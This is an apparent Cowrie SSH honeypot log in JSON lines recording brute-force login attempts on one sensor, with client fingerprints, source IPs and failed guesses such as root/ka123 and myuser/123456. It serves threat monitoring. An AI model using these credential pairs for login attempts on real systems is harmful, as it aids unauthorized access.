{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:34:df:c3:44:fe:b7:ca:df:6b:a1:56:3c:ab:46:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP2ngWMSne01ZvIvHNIa3GTxJJf5O0T0Z5Eiexw0RH8AckAvP6CRt0oyxgKeOQtBjc4qSct/va1plDD9FqauJWBD3K0Jrg6l99O2MCBOfyOB+UTanRtkj4z0Pm2wBQL8t/yGBbagLtrABuufyJytZlQkPryCKSPTQlhysR5manle1FbVclk4UETlABPisOIfiPzQMDMk2e4mCPwbIa0bMbsb8EM6mGLoq1Sym1nqOfHvnHobQy1UkdSfHiO1BSHr/YAq+c4mMmlZgsJt9Z1+TBvQqvRyTpiaZ/jkA2ckGNMo8MaqkSiIVaQoMH6PjzGJUIzvAb1PcmiNhRMESMtDrn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:34:df:c3:44:fe:b7:ca:df:6b:a1:56:3c:ab:46:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.100078Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:34:df:c3:44:fe:b7:ca:df:6b:a1:56:3c:ab:46:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP2ngWMSne01ZvIvHNIa3GTxJJf5O0T0Z5Eiexw0RH8AckAvP6CRt0oyxgKeOQtBjc4qSct/va1plDD9FqauJWBD3K0Jrg6l99O2MCBOfyOB+UTanRtkj4z0Pm2wBQL8t/yGBbagLtrABuufyJytZlQkPryCKSPTQlhysR5manle1FbVclk4UETlABPisOIfiPzQMDMk2e4mCPwbIa0bMbsb8EM6mGLoq1Sym1nqOfHvnHobQy1UkdSfHiO1BSHr/YAq+c4mMmlZgsJt9Z1+TBvQqvRyTpiaZ/jkA2ckGNMo8MaqkSiIVaQoMH6PjzGJUIzvAb1PcmiNhRMESMtDrn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.103644Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:64:fe:b8:7a:c0:68:50:42:98:65:36:5a:4f:cf:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIk1j4Iu7EOV89cw0KY6ycz4xpG27u1xlurwimXgIR3DaiD/XKk2WCAwZ+4ztlTs8FOtdEZiAkDxvtxw0mgD8WLXXyfaBou+jJTEysOajNGdjXQ6625bOghQiAJuO5ZRhqvy7Ng8eQySZQb/Upj8sandcJ5sXwgVRU4DzUx5Xd5ByHYHGsVsq7uLyV31scuqeUL529pFbJ+vsOsOBYYlRv2IyUKLANojn+Cf6Ej8CUBdHBUMb/gOkkOcKe0LQMgyKJerPhejze8HuxRWOqxzzp5eJpIVakEAhZWV9H1xybd7BZRZBoGXMRf7FTNclPgATeJCBnv2I/dzciaFyhm3/L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:64:fe:b8:7a:c0:68:50:42:98:65:36:5a:4f:cf:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.143630Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:64:fe:b8:7a:c0:68:50:42:98:65:36:5a:4f:cf:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIk1j4Iu7EOV89cw0KY6ycz4xpG27u1xlurwimXgIR3DaiD/XKk2WCAwZ+4ztlTs8FOtdEZiAkDxvtxw0mgD8WLXXyfaBou+jJTEysOajNGdjXQ6625bOghQiAJuO5ZRhqvy7Ng8eQySZQb/Upj8sandcJ5sXwgVRU4DzUx5Xd5ByHYHGsVsq7uLyV31scuqeUL529pFbJ+vsOsOBYYlRv2IyUKLANojn+Cf6Ej8CUBdHBUMb/gOkkOcKe0LQMgyKJerPhejze8HuxRWOqxzzp5eJpIVakEAhZWV9H1xybd7BZRZBoGXMRf7FTNclPgATeJCBnv2I/dzciaFyhm3/L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.146737Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.151157Z","src_ip":"103.75.199.4","session":"55fb5759a625","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:09:06:93:e9:44:19:1f:c1:76:3d:f9:4a:40:3e:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz4Iww0pzg3Tbj/rpB2bGnmErn+yxLgtdnj5zLQhB12Iy0zyN+RkzcqZu72LkiMK3eWXTTlQBfIjSXWkBe7EBDpHcNuxrHdX9PzH0UPXLv5QXsqvYAL82kFQmtOoRl6uZMNhr8VWRK+9afhsv2PUfor1W3uJX12GJPmi0NL1VekuWyWfM6/7Eq2UZqjKQRvlSwjEilIQwTT9ScwBc6jFrXa6EZ6omsEenS7OuXObl0oClZ82qLuqndvDT3l2rW4L+2WJoqNDqL9GRlLzT6QhyOvtJWifNFHGuG16hf+Kf28hY7ZI77Zjl/uoJUfw9so/s/24Xt+HkUe2bRs4WtVjCp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:09:06:93:e9:44:19:1f:c1:76:3d:f9:4a:40:3e:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.186001Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:09:06:93:e9:44:19:1f:c1:76:3d:f9:4a:40:3e:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz4Iww0pzg3Tbj/rpB2bGnmErn+yxLgtdnj5zLQhB12Iy0zyN+RkzcqZu72LkiMK3eWXTTlQBfIjSXWkBe7EBDpHcNuxrHdX9PzH0UPXLv5QXsqvYAL82kFQmtOoRl6uZMNhr8VWRK+9afhsv2PUfor1W3uJX12GJPmi0NL1VekuWyWfM6/7Eq2UZqjKQRvlSwjEilIQwTT9ScwBc6jFrXa6EZ6omsEenS7OuXObl0oClZ82qLuqndvDT3l2rW4L+2WJoqNDqL9GRlLzT6QhyOvtJWifNFHGuG16hf+Kf28hY7ZI77Zjl/uoJUfw9so/s/24Xt+HkUe2bRs4WtVjCp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.189166Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:55:46:9d:15:60:ff:50:a4:61:db:58:29:e7:17:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQtH28uU7KbynATMaBdKWtOosHiqtSV2GYM+BIshGJwWcSR2Ni+qaMtwy6JHZDymA6abCMdNBxfC0WxyqK9egySyotg5rSEFLRpmTIraRdv4NNn7SLYxgZG1p1sqcvtwh9HJLoxFSm3Dj71TjUNxeQn0FQFUUI1H+PcHOyWTLZcsc57DzzEr/XclNmzMvwuQdtPvU3Dqn30NZVHptYPBBNItkmPtbAQHOO4e7rUdlAc8ZSBe9ZKiptY9eBvRKER50aQW46vMN0eDW07v8hKVuvEbGcspTU4Nx1vH+VM6nBZnlEVhjtTTK9k2p+fTo+3rs9DGSkuAPN4S6E/iT1TQHHf8+wOqqMyc6qxT9yTufz3RIEJXW7L9ovSxhvswFUXE4z+kcQKS6jHEbdJQ0lDVr8novtVUP4alG3hYI6HVaorIfCF7vYStSnJ6H+MPIhPmxQjP4JjY97SyErTmaawRK348rx6lgc39NV5FePuYvF7fDZPHEGdyCMEKYj62v1Tj0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:55:46:9d:15:60:ff:50:a4:61:db:58:29:e7:17:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.228045Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:55:46:9d:15:60:ff:50:a4:61:db:58:29:e7:17:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQtH28uU7KbynATMaBdKWtOosHiqtSV2GYM+BIshGJwWcSR2Ni+qaMtwy6JHZDymA6abCMdNBxfC0WxyqK9egySyotg5rSEFLRpmTIraRdv4NNn7SLYxgZG1p1sqcvtwh9HJLoxFSm3Dj71TjUNxeQn0FQFUUI1H+PcHOyWTLZcsc57DzzEr/XclNmzMvwuQdtPvU3Dqn30NZVHptYPBBNItkmPtbAQHOO4e7rUdlAc8ZSBe9ZKiptY9eBvRKER50aQW46vMN0eDW07v8hKVuvEbGcspTU4Nx1vH+VM6nBZnlEVhjtTTK9k2p+fTo+3rs9DGSkuAPN4S6E/iT1TQHHf8+wOqqMyc6qxT9yTufz3RIEJXW7L9ovSxhvswFUXE4z+kcQKS6jHEbdJQ0lDVr8novtVUP4alG3hYI6HVaorIfCF7vYStSnJ6H+MPIhPmxQjP4JjY97SyErTmaawRK348rx6lgc39NV5FePuYvF7fDZPHEGdyCMEKYj62v1Tj0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.232238Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:28:15:d7:fc:5e:5c:c5:d0:85:bc:b0:db:88:c8:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA41YPC+xzvNeELzD0MHzefMx3jG2gejdTSQzuptMs2GZe24sIISVaWYPXvbH/wqE5FDjtF8NUjbvwLC7rQdxDGCSTxUSCddeMElteU8Ju19P6ENPtYG4o7eReae/3QSjYx/6609OtzWDiAQ0yq8D2vWRtGVXwEoerltOb7DaYo/+RI/ThyMaODcd52bZLhZVSVzmNu+riCf/6xT22V1m+4cfJJYGZwXdKgTGserBqCRPugBybcOt7Jxalhd/k6zwoQWc3hfgBg+yWLHupyWCnIm4gJXY5nfQfAFQfOOE3FEQR0lbaXUk8FU75nCaS2b3ZprX0sfU7rOiG8cp08blFlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:28:15:d7:fc:5e:5c:c5:d0:85:bc:b0:db:88:c8:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.272567Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:28:15:d7:fc:5e:5c:c5:d0:85:bc:b0:db:88:c8:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA41YPC+xzvNeELzD0MHzefMx3jG2gejdTSQzuptMs2GZe24sIISVaWYPXvbH/wqE5FDjtF8NUjbvwLC7rQdxDGCSTxUSCddeMElteU8Ju19P6ENPtYG4o7eReae/3QSjYx/6609OtzWDiAQ0yq8D2vWRtGVXwEoerltOb7DaYo/+RI/ThyMaODcd52bZLhZVSVzmNu+riCf/6xT22V1m+4cfJJYGZwXdKgTGserBqCRPugBybcOt7Jxalhd/k6zwoQWc3hfgBg+yWLHupyWCnIm4gJXY5nfQfAFQfOOE3FEQR0lbaXUk8FU75nCaS2b3ZprX0sfU7rOiG8cp08blFlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.276210Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.316419Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.422415Z","src_ip":"103.75.199.4","session":"55fb5759a625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:53.516400Z","src_ip":"103.75.199.4","session":"55fb5759a625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58304,"dst_ip":"159.203.135.109","dst_port":22,"session":"824030c08c1f","protocol":"ssh","message":"New connection: 45.153.34.114:58304 (159.203.135.109:22) [session: 824030c08c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:55.090041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:55.095185Z","src_ip":"45.153.34.114","session":"824030c08c1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:55.179640Z","src_ip":"45.153.34.114","session":"824030c08c1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:55.442156Z","src_ip":"45.153.34.114","session":"824030c08c1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:56.542351Z","src_ip":"45.153.34.114","session":"824030c08c1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42938,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded798919076","protocol":"ssh","message":"New connection: 45.153.34.114:42938 (159.203.135.109:22) [session: ded798919076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:03.160053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:03.165212Z","src_ip":"45.153.34.114","session":"ded798919076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:03.254045Z","src_ip":"45.153.34.114","session":"ded798919076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:03.623457Z","src_ip":"45.153.34.114","session":"ded798919076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:04.720041Z","src_ip":"45.153.34.114","session":"ded798919076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":52364,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ccda92fc592","protocol":"ssh","message":"New connection: 20.203.42.204:52364 (159.203.135.109:22) [session: 1ccda92fc592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:09.555952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:09.560555Z","src_ip":"20.203.42.204","session":"1ccda92fc592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:09.729572Z","src_ip":"20.203.42.204","session":"1ccda92fc592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ka123","message":"login attempt [root/ka123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:10.438872Z","src_ip":"20.203.42.204","session":"1ccda92fc592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48762,"dst_ip":"159.203.135.109","dst_port":22,"session":"711814cd39da","protocol":"ssh","message":"New connection: 45.153.34.114:48762 (159.203.135.109:22) [session: 711814cd39da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:11.317314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:11.322029Z","src_ip":"45.153.34.114","session":"711814cd39da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:11.408951Z","src_ip":"45.153.34.114","session":"711814cd39da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:11.613950Z","src_ip":"20.203.42.204","session":"1ccda92fc592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:11.666933Z","src_ip":"45.153.34.114","session":"711814cd39da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:12.756688Z","src_ip":"45.153.34.114","session":"711814cd39da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50870,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5c1eeb592f","protocol":"ssh","message":"New connection: 103.75.199.4:50870 (159.203.135.109:22) [session: fe5c1eeb592f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:13.944712Z"}
